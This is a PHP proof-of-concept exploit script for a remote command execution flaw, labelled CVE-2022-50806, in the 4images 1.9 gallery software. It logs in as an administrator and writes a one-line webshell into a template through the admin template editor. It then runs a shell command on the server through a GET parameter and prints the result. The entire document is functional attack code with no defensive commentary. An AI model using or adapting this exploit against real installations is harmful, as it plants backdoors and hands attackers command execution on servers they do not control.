<?php
// CVE-2022-50806 PoC - 4images 1.9 Remote Command Execution
// Requirements: Valid administrator credentials
$target = 'http://target.com/4images/'; // Target URL
$admin_path = 'admin/templates.php'; // Admin template management
$username = 'admin';
$password = 'admin123';
// Step 1: Login as administrator
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . 'login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "action=login&username=" . urlencode($username) . "&password=" . urlencode($password));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
// Step 2: Inject malicious code via template editor
$malicious_code = '<?php system($_GET["cmd"]); ?>'; // Simple webshell
$template_data = array(
'action' => 'savetemplate',
'template_name' => 'categories.html',
'template_content' => $malicious_code
);
curl_setopt($ch, CURLOPT_URL, $target . $admin_path);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($template_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_exec($ch);
// Step 3: Execute commands via crafted cat_id parameter
$cmd = 'whoami'; // Command to execute
curl_setopt($ch, CURLOPT_URL, $target . 'categories.php?cat_id=1&cmd=' . urlencode($cmd));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$output = curl_exec($ch);
echo "Command output: " . $output;
curl_close($ch);
?>